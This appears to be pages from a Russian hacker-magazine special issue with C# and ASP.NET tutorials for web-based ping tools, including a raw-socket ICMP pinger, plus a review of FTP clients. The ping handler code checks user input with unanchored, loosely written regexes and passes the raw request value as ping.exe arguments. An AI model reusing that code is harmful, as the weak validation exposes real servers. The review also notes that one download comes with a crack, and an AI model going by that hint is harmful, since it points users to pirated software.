Третья тоже будет пустой, но, в отличие от второй, у нее запишем атрибут ForeColor="red", показывающий, что текст будет выводиться красным цветом. Третья метка нужна для вывода сообщения об ошибке, если, конечно, ошибка будет. А она будет когда-нибудь :)! Добавляем валидатор <asp:RegularExpressionValidator>, который будет проводить первичную проверку вводимых данных с помощью регулярного выражения. Атрибуту "ControlToValidate" валидатора присваиваем такое же значение, как и имя текстового поля для ввода адреса (я назвал его "addr"), - этот атрибут указывает на элемент, инфу в котором следует проверить на правильность. В качестве параметра "ErrorMessage" валидатора запишем текст сообщения, которое будет выводиться при неправильных данных. Обрати внимание, что во всех серверных XML-тегах ASP.NET присутствует атрибут Runat="server". Теперь валидатору не хватает атрибута "ValidationExpression", т.е. того самого страшного регулярного выражения для проверки адреса. Это выражение выглядит так: (\d{1,3}.){3}(\d{1,3}){1}|\w+([-.]\w+)*(.[a-z]+)+. Левая часть до знака | соответствует записи IP-адреса, а правая - записи доменного имени. Дополнительную инфу по регулярным выражениям (книги, мануалы и пр.) настоятельно рекомендую читать, а не пролистывать, ибо это очень мощная штука.

Тело

Осталось прописать ASPX-кнопку, при нажатии на которую будет, собственно, и происходить все действо. В атрибут "OnClick" вписываем имя процедуры, ответственной за обработку и вывод данных (у меня "do_Ping"). Закрываем теги и идем далее. Теперь добавим саму процедуру-обработчик нажатия кнопки. Сей грандиозный код следует запихнуть в заголовок HTML-документа между тегами <script language="C#" runat="server"> и </script>. Наша процедура "do_Ping" имеет два аргумента: "object sender" и "EventArgs e". "Sender" - объект, в котором возникло событие (в нашем случае - воздействие на кнопку, выраженное в нажатии :)), а переменная "e" содержит данные о событии. Что нам нужно сделать прежде всего, получив адрес? Сначала надо отделить IP-адрес от DNS-имени и проверить, правильный ли введен IP-шник (так как валидатор в форме проверяет данные только на соответствие формату xxx.xxx.xxx.xxx и не учитывает, что каждое из чисел xxx не может быть больше 255).


Спецвыпуск Xakep, номер #030, стр. 030-050-3, Ping Master - трансляция cmd2html на ASP

Ping Master - трансляция cmd2html на ASP

Владимир Егоров aka Dr.NET

Спецвыпуск Xakep, номер #030, стр. 030-050-3

Сделаем это немедленно. Для этого снова на помощь приходят регулярные выражения.

Создаем новый экземпляр класса "Regex" - класса для работы с регулярными выражениями. Нам нужно отделить IP-адреса во вводимых данных. Для этой цели подходит регулярное выражение (\d{1,3}.){3}(\d{1,3}){1}, которое записываем как параметр при вызове конструктора класса "Regex". Далее ищем соответствие формату (метод "Match") и, если оно найдено (то есть введенный текст - IP-адрес), проверяем правильность IP-адреса, перехватывая исключение при вызове метода "IPAddress.Parse(string addr)". Этот метод преобразует строковую запись IP-адреса в экземпляр класса "IPAddress". Если при этом строка "addr" имеет неправильный формат, то возникает исключение "FormatException", и мы записываем в метку l3 сообщение об ошибке и прекращаем выполнение процедуры.

Ну а если все нормально, то приступаем к непосредственному пингованию. Для этого сначала будем использовать стандартную виндовскую прогу ping.exe, находящуюся в каталоге "%SystemRoot%\system32\". Наша цель состоит в том, чтобы запустить данный программный продукт и перенаправить его вывод с консоли (с экрана) на нашу страницу. Чтобы это сделать, создаем новый экземпляр класса "Process" (это будет новый процесс, который мы собираемся запустить).

Справка дня: класс "Process" принадлежит к пространству имен "System.Diagnostics". Пишем: Process p = new Process();. Далее надо задать свойства процесса и перенаправить его вывод. Свойству "p.StartInfo.UseShellExecute" присваиваем значение "false". Это нужно для того, чтобы не использовать шелл операционной системы для запуска нашего процесса. Следующее свойство - "p.StartInfo.RedirectStandardOutput" - указывает, перенаправить или нет вывод данного процесса со стандартного в какой-нибудь другой. Даже ежу по пьяни очевидней ясного, что нам нужно присвоить этому свойству значение "true".

Свойство "p.StartInfo.FileName", как несложно понять, задает имя файла того приложения, которое мы хотим запустить. Ну и, наконец, свойству "p.StartInfo.Arguments" присваиваем значение адреса плюс параметр "-n 1". Это параметр пинга, который устанавливает число посылаемых эхо-запросов, в данном случае будет послан один запрос. После этого запускаем процесс с помощью метода "p.Start()" и записываем в метку l2 вывод программы "ping", который считываем при помощи метода "p.StandardOutput.ReadToEnd()".

После этого закрываем процесс, смело юзая метод "p.WaitForExit()". Хотя в данном случае делать это не обязательно (поскольку процесс будет закрыт автоматически сразу после завершения приема ответа на эхо-запрос), я рекомендую все же это делать для других приложений, дабы не засорять и без того не резиновую память своей машины. Ибо... кому щас легко?! Наконец, надо освободить ресурсы, занятые объектом "p", с помощью метода "Dispose()". Опять же, делать это не обязательно, но полезно. Вот и все с обычным пингом.


Спецвыпуск Xakep, номер #030, стр. 030-050-4, Ping Master - трансляция cmd2html на ASP

Ping Master - трансляция cmd2html на ASP

Владимир Егоров aka Dr.NET

Спецвыпуск Xakep, номер #030, стр. 030-050-4

Something else

А теперь попробуем написать свой упрощенный вариант пинга, который будет выводить только информацию о том, получен ли ответ от интересующего нас хоста или нет. Фактически, для получения этой информации достаточно отправить хосту-адресату эхо-запрос ICMP (Internet Control Message Protocol, протокол для передачи различных сообщений между узлами, чаще всего - сообщений об ошибках). После этого нужно подождать ответа и чуть-чуть шевельнуть мозгом. На основе проделанного следует сделать вывод о том, доступен узел или нет. Эту консольную программку я написал также на C#.

Для начала создаем новый текстовый файл с именем "ping.cs". В нем сначала описываем, какие пространства имен будут импортированы (директива "using"). Импортируем "System", "System.Net", "System.Net.Sockets" и "System.Text.RegularExpressions". Далее задаем свое пространство имен, к которому будет принадлежать созданный нами класс "Ping". Для этого пишем после слова "namespace" название пространства имен, например, "Custom". Далее задаем класс "Ping". В нем будет всего три статических метода: "checksum_ip(byte[] buffer)", "send_echo(IPAddress ip_to, int timeout)" и "Main(string[] args)". Первый метод производит вычисление контрольной суммы для заголовка IP, второй отправляет эхо-запрос, а третий - это входная точка нашей проги.

Для отправки запроса нам самим придется полностью сформировать IP-пакет и отправить его при помощью низкоуровневого сокета. Структура заголовка IP, который нам предстоит сформировать, включает следующие поля (по порядку): 4 бита версии IP, 4 бита длины заголовка, 8 бит TOS (тип службы), полная длина в байтах - 16 бит, идентификатор - 16 бит, три однобитных флага, смещение фрагмента данных - 13 бит, 8 бит TTL (время жизни), 8 бит типа протокола, 16-битная контрольная сумма заголовка, 32-битный IP-адрес отправителя, 32-битный IP-адрес получателя. После этого должны идти параметры IP (необязательно), а дальше - сами данные. В качестве данных запишем только ICMP-заголовок, включающий 8-битный тип ICMP, 8-битный код ICMP, 16-битную контрольную сумму ICMP.

Понимаю внезапно постигшую тебя дрожь :). Расслабься, сейчас все немного упростим. Во-первых, в качестве идентификатора IP возьмем фиксированное число, во-вторых, поскольку нам нужен будет тип ICMP, равный 8 (эхо-запрос), и код ICMP, равный 0, то мы можем сформировать неизменяемый заголовок ICMP, подсчитав его контрольную сумму (это 16-битная комплиментарная сумма байт в сообщении ICMP). То есть получается, что единственными изменяемыми полями в нашем сообщении будут IP-адрес отправителя, IP-адрес получателя и контрольная сумма.

Сумма

Вычисление контрольной суммы IP будем проводить с помощью метода "checksum_ip". Отличие от вычисления контрольной суммы ICMP состоит в том, что здесь складываются не байты, а слова (2 байта, если не знал). Длина заголовка - вторые 4 бита в заголовке IP (длина в 32-битных словах), поэтому длину заголовка вычисляем так: "int hdr_length = (buffer[0]&0x000f)*4". После суммирования, в случае переполнения, прибавляем "лишние" биты к усеченному до 16 бит результату и находим комплиментарное дополнение.


Спецвыпуск Xakep, номер #030, стр. 030-050-5, Ping Master - трансляция cmd2html на ASP

Ping Master - трансляция cmd2html на ASP

Владимир Егоров aka Dr.NET

Спецвыпуск Xakep, номер #030, стр. 030-050-5

В методе "send_echo" создаем низкоуровневый сокет для протокола ICMP. Задаем массив байт, содержащий наш IP-пакет без задания IP-адресов отправителя и получателя. После этого добавляем в массив последовательно 8 байт IP-адресов отправителя и получателя. Как выделить эти байты, показано в листинге.

using System;

using System.Net;

using System.Net.Sockets;

using System.Text.RegularExpressions;

namespace Custom

{

public class Ping

{

protected static ushort checksum_ip(byte[] buffer)

{

ulong cksum = 0;

int hdr_length = (buffer[0]&0x000f)*4;

for (int i = 0; i<hdr_length;i+=2)

cksum+=(ulong)((buffer[i]<<8)+buffer[i+1]);

cksum = (cksum>>16)+(cksum&0xffff);

cksum+=(cksum>>16);

return ((ushort)~cksum);

}

public static bool send_echo(IPAddress ip_to, int timeout)

{

Socket socket = new Socket(AddressFamily.InterNetwork,SocketType.Raw,ProtocolType.Icmp);

IPEndPoint ep = new IPEndPoint(ip_to,0);

byte[] data = {69,0,0,28,2,134,0,0,128,1, 0,0, 0,0,0,0, 0,0,0,0, 8,0,176,255,1,0,70};

data[19] = (byte)(ip_to.Address>>24);

data[18] = (byte)((ip_to.Address>>16)&0x00ff);

data[17] = (byte)((ip_to.Address>>8)&0x0000ff);

data[16] = (byte)(ip_to.Address&0x000000ff);

ushort check = checksum_ip(data);

data[10] = (byte)(check>>8);

data[11] = (byte)(check&0x00ff);

socket.SendTo(data,ep);

return (socket.Poll(timeout,SelectMode.SelectRead));

}

public static void Main(string[] address)

{

IPAddress rcpt_ip = IPAddress.None;

Regex rx = new Regex(@"(\d{1,3}.){3}(\d{1,3}){1}");

if (rx.Match(address[0]).Success)

rcpt_ip = IPAddress.Parse(address[0]);

else

rcpt_ip = Dns.GetHostByName(address[0]).AddressList[0];

if (Ping.send_echo(rcpt_ip,5000000)) Console.WriteLine("Требуемый хост доступен");

else Console.WriteLine("Требуемый хост недоступен");

}

}

}

После этого отправляем пакет получателю и ждем ответа "timeout" микросекунд.

Процедура "Main" получает в качестве параметра IP-адрес или DNS-имя компа и преобразует DNS-имя в IP-адрес с помощью метода "Dns.GetHostByName". Я не стал проверять вводимые данные, так как наша ASPX-страница уже это делает, и при обращении к проге из этой страницы все адреса уже должны быть в подходящем формате (но учти, если использовать прогу отдельно от нашей ASP.NET-страницы, то проверку форматов провести нужно обязательно). В конце, используя метод "send_echo", посылаем запрос, ждем 5 секунд и пишем, доступен хост или нет. Осталось откомпилировать эту программу. Делается это с помощью компилятора C# "csc.exe" следующим образом: "csc.exe /t:exe /out:ping.exe ping.cs" (разумеется, без кавычек и при условии, что "ping.cs" лежит там же, где и "csc.exe", а если нет, то пишем полный путь к файлу кода). После компиляции изменяем "FileName" и "Arguments" в ASP.NET-странице и юзаем.


Спецвыпуск Xakep, номер #030, стр. 030-050-6, Ping Master - трансляция cmd2html на ASP

Ping Master - трансляция cmd2html на ASP

Владимир Егоров aka Dr.NET

Спецвыпуск Xakep, номер #030, стр. 030-050-6

Отдыхай!

Наши руки не для скуки :). Как видишь, у любой идеи всегда есть несколько реализаций - в нашем случае мы сотворили универсальный консольный преобразователь (достойное название, не так ли? :)) и собственный веб-пинг. Причем все это заняло минимум времени и средств (ну, пива там всякого, чипсов). Что, в твоей тусе все еще не верят в важность ASP.NET для веб-кодинга? Тогда трепещите - мы идем к вам!


Спецвыпуск Xakep, номер #030, стр. 030-054-1, Flash Ping - ода интерфейсу

Flash Ping - ода интерфейсу

Владимир Егоров aka Dr.NET

Спецвыпуск Xakep, номер #030, стр. 030-054-1

(vme@front.ru) & ilich (ilich@atrus.ru)

Взялся я как-то раз пинговать всех и вся. Долго пинговал, вспотел аж. Да вот только устал я не столько от того, что трудно это занятие, а от того, что не особо красивое с эстетической точки зрения. Интерфейс не катит, короче говоря. И задумал я тогда, что неплохо было бы слегка пинг приукрасить.

Flash MF

Красивые штучки в нете, как это общеизвестно, в большинстве своем красочные и отнюдь не статичные. А что же, как не Flash, скажешь ты, может справиться с такими потребностями? Вот и я про то же. Грузим прогу.

На самом деле, флешка в нашем случае делать практически ничего не будет. Вся суть ее существования сводится к организации посылки запроса, получении ответа и вывода его пред твои светлы очи.

Все по порядку. Для запроса позарез надо знать, кого пингуем :). Это я тебе точно говорю. Так вот, значит, нужно текстовое поле, у которого в параметрах текста указаны "Input text" и имя переменной (допустим, "addr"). В это поле можно, и даже нужно, будет вводить IP-адрес или имя хоста пингуемого.

Далее нужна какая-нибудь пимпа, ответственная за начало процесса (в принципе, можно не париться с пимпой, а отследить нажатие Enter'a - будет более похоже на виндовский пинг). Рисование кнопки доверяю всецело тебе, а покамест расскажу тебе про код, который в нее следует запихнуть. Код:

on(press){

link="http://localhost/handler/ping.ashx?address="+addr;

_root.getURL(link,_blank);

_root.f=1;

}

При нажатии мы формируем строку урла, где обращаемся к некоторому "ping.ashx" с некоторым параметром. Хотя этот параметр не такой уж некоторый. Это не что иное, как наша строка с IP-шником. Переменная "f" нужна, чтобы замять чуть-чуть время, ибо ответ получится не сразу.

Тянуть время и выдавать ответ будем через клип. Он не обязательно должен быть виден во время проигрывания, в него просто достаточно вставить маленький скриптик:

onClipEvent(enterFrame){

if(_root.f!=0){

_root.f=_root.f++

};

if (_root.f>25) {

loadVariables("http://localhost/handler/output.txt");

}

}

onClipEvent(data){

if(p=="Неверный адрес!") {_root.output="Неправильный формат адреса"}

else{

_root.output=p;

}

_root.f=0;

}

Первым делом по событию "enterFrame" (каждый кадр) к "f" плюсуется единица. Когда переменная перевалит за 24 (при 12 кадрах в секунду это 2 секунды - нам хватит), грузим переменные их текстовика. Когда загружаются переменные, проверяем их и, если все OK, выводим в текстовое поле "output".

Не забудь, кстати, создать это самое динамическое поле и дать ему нужное имя.

МегаКод

Используем для наших целей так называемый WebHandler, который вызывается по HTTP с единственным параметром GET - адресом тестируемого узла. После обращения этот WebHandler будет создавать текстовый файл с записанным в него выводом программы ping.exe или сообщением об ошибке. Создаем уже известный нам файл "ping.ashx" (расширение *.ashx соответствует .NET WebHandler'у). В его начало пишем строку <%@ WebHandler Language="C#" Class="Ping"%>, которая говорит, что собственно содержит этот файл.


Спецвыпуск Xakep, номер #030, стр. 030-054-2, Flash Ping - ода интерфейсу

Flash Ping - ода интерфейсу

Владимир Егоров aka Dr.NET

Спецвыпуск Xakep, номер #030, стр. 030-054-2

После этого пишем стандартный раздел импорта. Импортируем 7 пространств имен: "System", "System.Web", "System.Text.RegularExpressions" (для проверки адреса), "System.Net", "System.Diagnostics" (для работы с процессами), "System.IO" (для работы с файлами и вводом-выводом данных) и "System.Text" (сам не дурак:))).

<%@ WebHandler Language="C#" Class="Ping"%>

using System;

using System.Web;

using System.Text.RegularExpressions;

using System.Net;

using System.Diagnostics;

using System.IO;

using System.Text;

public class Ping:IHttpHandler

{

public bool IsReusable

{

get {return true;}

}

public void ProcessRequest(HttpContext context)

{

string outputText;

bool OK = false;

string address = context.Request["address"];

Regex rx = new Regex(@"\w+([-.]\w+)*(\.[a-z]+)+");

if (rx.Match(address).Success) OK = true;

else try {

IPAddress.Parse(address);

OK = true;

}

catch (Exception) {OK = false;}

if (OK) {

Process p = new Process();

p.StartInfo.UseShellExecute = false;

p.StartInfo.RedirectStandardOutput = true;

p.StartInfo.FileName = "d:\\winnt\\system32\\ping.exe";

p.StartInfo.Arguments = address+" -n 1";

p.Start();

outputText = "p=\""+p.StandardOutput.ReadToEnd()+"\"";

p.WaitForExit();

p.Dispose();

}

else outputText = "p=\"Неверный адрес!\"";

FileStream fs = File.Create("D:\\Inetpub\\wwwroot\\Handler\\output.txt");

StreamWriter sw = new StreamWriter(fs,Encoding.GetEncoding(1251));

sw.Write(outputText);

sw.Close();

fs.Close();

context.Response.ContentType="text/html";

context.Response.Write("<html><head><script language=\"javascript\">self.close()</script></head></html>");

}

}

Для того чтобы сделать WebHandler, мы должны создать новый класс "Ping", который реализует интерфейс IHttpHandler, содержащийся в пространстве имен "System.Web". Интерфейс IHttpHandler содержит всего одно свойство типа bool (IsReusable) и один метод ProcessRequest(HttpContext context), который собственно и выполняет обработку запроса. Итак, создаем класс "Ping" и через двоеточие указываем, что он унаследован от интерфейса IHttpHandler. Затем создаем поле IsReusable, доступное только для чтения и содержащее значение true (данная хрень указывает, может ли другой запрос повторно использовать тот же экземпляр WebHandler'а).

Теперь реализуем метод ProcessRequest. Сначала создадим две переменные: "outputText" и "OK". В первую засунем текстовый вывод :), который будет потом записан в файл, а во вторую - показатель, все ли нормально с адресом. После этого получаем значение адреса для пинга из переменной context.Request["address"]. После этого проверяем адрес на правильность с помощью регулярного выражения "\w+([-.]\w+)*(\.[a-z]+)+", которое соответствует полному доменному имени. Проверку IP-адреса будем производить с помощью метода IPAddress.Parse(string address), перехватывая возможное при вызове этого метода исключение. Если с адресом все ОК, то осталось запустить процесс "ping.exe" и перенаправить его вывод в текстовый файл.


Спецвыпуск Xakep, номер #030, стр. 030-054-3, Flash Ping - ода интерфейсу

Flash Ping - ода интерфейсу

Владимир Егоров aka Dr.NET

Спецвыпуск Xakep, номер #030, стр. 030-054-3

Интеграция

О том, как запустить процесс и перенаправить его вывод, подробно изложено в статье про пинг через Web-интерфейс в этом же номере, так что, дабы не повторяться, скажу только, что надо создать экземпляр класса "Process". После этого указываем путь к исполняемому файлу, задаем параметры вызова и перенаправляем вывод. Запускаем процесс, получаем ответ и закрываем процесс. Осталось всего ничего - записать ответ в файл. Замечу, этот файл впоследствии, как известно, будет читаться Flash'ем, а тот, в свою очередь, тоже дурак и переменные читает только из текстовиков определенного формата.

Ответ у нас содержится в переменной "outputText". Создаем текстовый файл с помощью статического метода File.CreateText(string path), где path - локальный путь к создаваемому файлу на сервере. Этот метод возвращает экземпляр класса "StreamWriter", с помощью которого мы будем записывать данные в файл. Кстати, не забудь предоставить пользователю ASPNET право на чтение/запись в тот каталог, где создается файл, иначе произойдет ошибка доступа.

После этого методом sw.Write(string output) записываем в файл переменную "outputText" и после этого закрываем StreamWriter. Все, WebHandler, в принципе, готов. Обращаться к нему можно из браузера, задав его виртуальный адрес на серваке с параметром "address", содержащим адрес интересующего тебя хоста, например, "http://myhost.com/handler/ping.ashx?address=123.123.123.123" - именно то, что мы и формируем во Flash'e. Последние строки кода посвящены тому, что фишка getURL во Flash'e так и так вызывает отображение загружаемого УРЛа в окне браузера. Что не может не огорчать. Так вот, окно появится. Пустое, т.к. отображать нечего. И появится сообщение, желающее закрыть окно, ибо безопасность в нете дремать не должна!


Спецвыпуск Xakep, номер #030, стр. 030-056-1, ЗАЛИВАЕМ С УСПЕХОМ - обзор лучших FTP-клиентов

ЗАЛИВАЕМ С УСПЕХОМ - обзор лучших FTP-клиентов

Скрыпников Сергей aka Slam

Спецвыпуск Xakep, номер #030, стр. 030-056-1

(sergey@soobcha.org)

Вот ты читаешь наш цикл спецов по Web-строительству, и, наверное, у тебя рано или поздно возникнет вопрос: "А как же я все свое хозяйство смогу залить на сервер?". Если я хоть чуточку прав, то эта статья нацелена на тебя. А если ты уже крутой веб-мастер, то, я думаю, тебе будет интересно увидеть сравнительный анализ лучших, по мнению Spez-Crew, FTP клиентов, и, возможно, ты поменяешь свой любимый FAR на что-нибудь более креативное :).

ЧТО ТАКОЕ FTP И С ЧЕМ ЕГО ЕДЯТ

FTP (File Transfer Protocol) - протокол передачи файлов. FTP используется для передачи файлов с одной машины на другую (естественно, если ты таскаешь болванки от своих друзей, то твои "побеги" никак нельзя назвать FTP). При использовании FTP следует помнить некоторые особенности этого сервиса, прямо вытекающие из той операционной системы, где он возник, - UNIX. Любой FTP-сервер всегда требует авторизации пользователя. Практически каждый FTP-сервер предоставляет так называемый анонимный вход (другое название этого сервиса - анонимный FTP).

Как выглядит URL для FTP-сервера?

Для указания какого-либо ресурса в Сети используется URL (Uniform Resource Locator) - ты не раз его применял, набирая в строке браузера заветные слова http://www.xakep.ru... FTP-сервера также являются ресурсами сети, и для подключения к ним через WWW-браузер необходимо использовать несколько видоизмененную форму URL:

ftp://имя_пользователя:пароль@адрес_FTP-сервера:порт/путь_к_файлу

Для использования анонимного FTP URL выглядит намного проще:

ftp://адрес_FTP-сервера/путь_к_файлу

Теперь немного рассмотрим основные настройки FTP клиентов, чтобы ты потом не бомбил мой мыл чайниковскими вопросами.

1) Profile Name - введи любое название профиля, например, MyCoolSite, в дальнейшем ты просто выберешь данный профиль, и тебе не придется по 10 раз вводить одни и те же настройки.

2) Host Name/Address - адрес удаленного компьютера, например, ftp.nika.dlm.ru.

3) User ID - твой логин.

4) Password - действительно нужно пояснять?!

5) Connection Retry - сколько раз твой FTP клиент будет пытаться соединиться с сервером (я обычно ставлю 10).

6) Network Timeout - сколько времени ждать ответа от сервера (30 секунд будет достаточно).

7) Remote Port - порт, к которому следует подключаться на сервер, по умолчанию 21.

Теперь, я думаю, ты без проблем настроишь любой FTP клиент (об особенностях настройки я расскажу отдельно).

Ну, а когда ты в курсе все дел, приступим непосредственно к рассмотрению FTP клиентов.

СuteFTP v4.2

Размер: 1617 Кб

Качать: http://www.woweb.ru/cgi-bin/catalog/goto.cgi?c=111&id=1025302402&a=load

(вместе с программой идет лякарство :)).

Одна из лидирующих программ среди FTP клиентов. Для начала работы тебе достаточно нажать на кнопочку Quick Connect на панели инструментов либо просто запомнить комбинацию [CTRL]+[F4]. В появившемся окошке нужно будет ввести непосредственно сам хост, логин, пароль и порт, по которому следует подключаться (по умолчанию - это 21). Если нажать на Settings, то ты можешь выбрать, как CuteFTP должен заходить на сервер: анонимно или нормально. Что не понравилось при работе, так это невозможность загружать файлы в фоновом режиме :(. Хотя и для такой проблемы есть решение - просто запусти несколько копий программы, и все станет прекрасно.


Спецвыпуск Xakep, номер #030, стр. 030-056-2, ЗАЛИВАЕМ С УСПЕХОМ - обзор лучших FTP-клиентов

ЗАЛИВАЕМ С УСПЕХОМ - обзор лучших FTP-клиентов

Скрыпников Сергей aka Slam

Спецвыпуск Xakep, номер #030, стр. 030-056-2

Ты можешь давать указания программе таким образом, чтобы она либо сразу их выполняла, либо ставила в специальную очередь и потом, когда ты полностью определишься со списком задач, начинала их выполнять. По окончании заливки файлов прога может разорвать соединение, закрыть сама себя, разорвать связь с Internet, выключить компьютер (очень удобно, когда ты настраиваешь программу, чтобы она заливала файло на твой сайт, а сам идешь спать) или закончить работу текущего пользователя. Очень полезной возможностью CuteFTP является возможность передачи файлов между двумя серверами без скачивания файлов к себе на винт, то есть ты просто открываешь две копии программы и с одного окошка мышью перетаскиваешь файл в другое. Все остальное сделается без твоего вмешательства, только учти - чтобы заюзать такую фичу, необходимо, чтобы оба сервера поддерживали такой способ передачи файла. Если во время заливки у тебя разорвалось соединение с Интернетом (ты ведь на Dial-Up'e сидишь, да?), то после его возобновления файлы начнут докачиваться сами.

Ты часто обновляешь инфу на своем сайте? Тогда тебе поможет такая возможность, как сравнение удаленного каталога с твоим - локальным.

Система Smart Keep Alive (SKA) позволяет надуть FTP-сервер и не позволить ему оборвать соединение из-за отсутствия каких-либо действий со стороны клиента в течение некоторого времени. Очень полезно, когда ты часто отвлекаешься от основного занятия :). Есть возможность работы с макросами - очень полезно, когда ты часто выполняешь одни и те же действия. С помощью CuteFTP можно искать файлы в сети, и, кстати, эта функция сделана очень хорошо. Как только ты попытаешься загрузить определенный файл с сервера, то прога автоматически находит такие же файлы, но на других серверах, и если вдруг произойдет сбой при заливании с определенного сервера, КутФТП переключится на скачивание данного файла с другого сервака.

Итог: 5. Подойдет любому - и новичку, и профи.

Total Commander v5.51.

Размер: 1365 Кб.

Качать: ftp://ftp.planetmirror.com/pub/winsite/winxp/dskutil/tcmd551.exe

Для начала работы со встроенным FTP клиентом достаточно нажать [CTRL]+[F]. Теперь жми New Connection и в появившемся окне вводи необходимые данные, как то: Session - название сессии (сделано для того, чтобы ты по двадцать пять раз не вводил одну и ту же инфу, можешь вводить что душе угодно, например, MyPornoServer ;)); Host name(:Port) - непосредственно название сервера, куда мы будем заливать файло, через двоеточие можно указать порт, если он отличается от стандартного. Думаю, объяснять, что вводить в User name и в Password не стоит; Remote dir - это директория, которая будет открываться сразу на удаленном серваке (например, при частой заливке перл скриптов целесообразно указать CGI-BIN); Local dir - аналогично, но на твоем компьютере. Обрати внимание на то, что хранить пароли здесь небезопасно :). Дело в том, что все эти пароли, хоть и не в открытом, а в зашифрованном виде хранятся в файле настройки wcx_ftp.ini, и получив доступ к этому файлу, чел получает доступ ко всем твоим FTP-серверам.


Спецвыпуск Xakep, номер #030, стр. 030-056-3, ЗАЛИВАЕМ С УСПЕХОМ - обзор лучших FTP-клиентов

ЗАЛИВАЕМ С УСПЕХОМ - обзор лучших FTP-клиентов

Скрыпников Сергей aka Slam

Спецвыпуск Xakep, номер #030, стр. 030-056-3

Полезная фича присутствует в виде синхронизации локального и удаленного каталогов, очень удобно, когда файлов много, и изменения происходят во многих их них (для заюзанья - в меню найди команду "синхронизировать директории"). Также присутствуют макросы, возможность изменять права доступа к файлу (выделяем файл, жмем [Ctrl] + [Enter]) или сразу к группе файлов (выделяем несколько файлов и в меню ищем команду "Изменить атрибуты"). Как и в предыдущей программе, ты можешь скачать файлы с одного сервера на другой без перекачки файлов себе на комп (очень помогает, когда у тебя много зеркал, и каждое нужно обновлять одновременно с другими). Кстати, заметь, что скорость скачивания с сервера твоего провайдера обычно выше, чем с других серваков; так вот, тут можно провернуть такую фишку - сначала скачиваешь необходимое файло на сервак к прову (договариваешься с админом \ покупаешь хостинг), а потом уже оттуда качаешь себе на комп с более высокой скоростью.

В общем получился очень неплохой встроенный FTP клиент, и если ты уже давно забил на проводник и юзаешь что-то более продвинутое и функциональное, то останавливайся именно на этой программе.

Итог: Если ты любишь альтернативу проводнику, то ставь TC и юзай его в качестве FTP клиента. 4 (хор).

ASONA FTP 1.01

Размер: 444 Кб

Качать: http://www.esalesbiz.com/netware/download/asonaftp.exe

Если ты хочешь сразу начать работать, то на правой панели жми "Новый сервер" либо выбирай такую команду в меню. Появится окошко, в котором потребуется ввести необходимые данные. Думаю, ты уже и сам должен понимать, что и куда вводить (настройки полностью идентичны настройкам предыдущих программ, но еще и на русском языке!). И твой сервер сразу добавляется в список уже существующих, что очень и очень удобно. Да, кстати, серверов, идущих по умолчанию, приличное количество, почти на все случаи жизни. Больше не буду тебе парить мозги, так как эта программа обладает возможностями всех вышеперечисленных, а лишь отмечу те возможности, которые могут реально пригодиться в повседневной жизни.

ASONA FTP поймет правильно адрес, даже если ты настроишь соединение в любом из перечисленных форматов:

ftp.hostname.com

ftp:// ftp.hostname.com

user@ftp.hostname.com/folder

ftp://user:password@ftp.hostname.com:port/folder

ftp://user@ftp.hostname.com:port/folder

ftp://user@ftp.hostname.com

ftp://user@ftp.hostname.com:port

http://ftp.hostname.com

Иногда директории на сервере бывают скрыты, поэтому тебе может пригодиться опция изменения директории на сервере.

Удобной функцией, на мой взгляд, является - drag-and-drop. Имеется поддержка Proxy, Firewall, SOCKS 4, 4.5 и 5.

Настройки программы дают возможность автоматически определить параметры передачи файлов - ascii или binary в зависимости от типа файлов и от настроенного списка их расширений. Все команды и операции программы могут протоколироваться в заданном тобой лог файле.


Спецвыпуск Xakep, номер #030, стр. 030-056-4, ЗАЛИВАЕМ С УСПЕХОМ - обзор лучших FTP-клиентов

ЗАЛИВАЕМ С УСПЕХОМ - обзор лучших FTP-клиентов

Скрыпников Сергей aka Slam

Спецвыпуск Xakep, номер #030, стр. 030-056-4

Итог: Хорошая программа. Если ты только начинающий веб-мастер, то она как раз для тебя.

FlashFXP v 2.0 (b906)

Размер: 2114 Кб

Качать: http://www.flashfxp.ws/zip/FlashFXP_2_Setup.exe

Этот клиент знаменит тем, что несмотря на собственную молодость умудрился сильно потеснить КутФТП на винтах продвинутых юзеров.

Основные отличия новой версии:

- добавлена поддержка SSL/TLS;

- расширена функциональность (добавлены новые опции, добавлена поддержка 4- и 5-кнопочных мышей, добавлены новые управляющие элементы инструментальной панели и прочее);

- добавлена возможность защиты паролем FlashFXP от доступа к программе других лиц;

- расширен набор команд для командной строки;

- реализована стопроцентная совместимость с Windows XP;

- исправлены ошибки.

Если необходимо сразу начать заливать файло, то жми F8, появится окошко Quick Connect, в котором необходимо ввести все данные. После этого жми Connect и можешь прямо мышой перетаскивать нужные файлы к себе на сервак. Программа обладает всеми возможностями, которые могут потребоваться тебе при работе с FTP, перечисление которых заняло бы слишком много места, да и утомило это бы тебя. Расскажу только о некоторых. Есть планировщик задач, который может автоматически запустить трансфер файлов, а по окончании оного разорвать соединение, выключить комп, выйти из программы, завершить сеанс пользователя либо некоторое в совокупности. Есть возможность следить за буфером обмена, и если выставлена галочка, то автоматически заливать файло на сервак. Есть еще много приятных мелочей, которые выползают там, где их не ждешь (нет, не баги :)).

Итог: Мой выбор. Однозначно следует попробовать!

Теперь, думаю, ты без проблем определишься, что ты хочешь поставить себе в качестве FTP клиента.

Вот так тебе может ответить FTP сервер:

Code Description

110 Restart marker reply. In this case, the text is exact and not left to the particular implementation; it must read: MARK yyyy = mmmm where yyyy is User-process data stream marker, and mmmm server's equivalent marker (note the spaces between markers and "=").

120 Service ready in nnn minutes.

125 Data connection already open; transfer starting.

150 File status okay; about to open data connection.

200 Command okay.

202 Command not implemented, superfluous at this site.

211 System status, or system help reply.

212 Directory status.

213 File status.

214 Help message.On how to use the server or the meaning of a particular non-standard command. This reply is useful only to the human user.

215 NAME system type. Where NAME is an official system name from the list in the Assigned Numbers document.

220 Service ready for new user.

221 Service closing control connection.

225 Data connection open; no transfer in progress.

226 Closing data connection. Requested file action successful (for example, file transfer or file abort).

227 Entering Passive Mode (h1,h2,h3,h4,p1,p2).


Спецвыпуск Xakep, номер #030, стр. 030-056-5, ЗАЛИВАЕМ С УСПЕХОМ - обзор лучших FTP-клиентов

ЗАЛИВАЕМ С УСПЕХОМ - обзор лучших FTP-клиентов

Скрыпников Сергей aka Slam

Спецвыпуск Xakep, номер #030, стр. 030-056-5

230 User logged in, proceed. Logged out if appropriate.

250 Requested file action okay, completed.

257 "PATHNAME" created.

331 User name okay, need password.

332 Need account for login.

350 Requested file action pending further information

421 Service not available, closing control connection.This may be a reply to any command if the service knows it must shut down.

425 Can't open data connection.

426 Connection closed; transfer aborted.

450 Requested file action not taken.

451 Requested action aborted. Local error in processing.

452 Requested action not taken. Insufficient storage space in system.File unavailable (e.g., file busy).

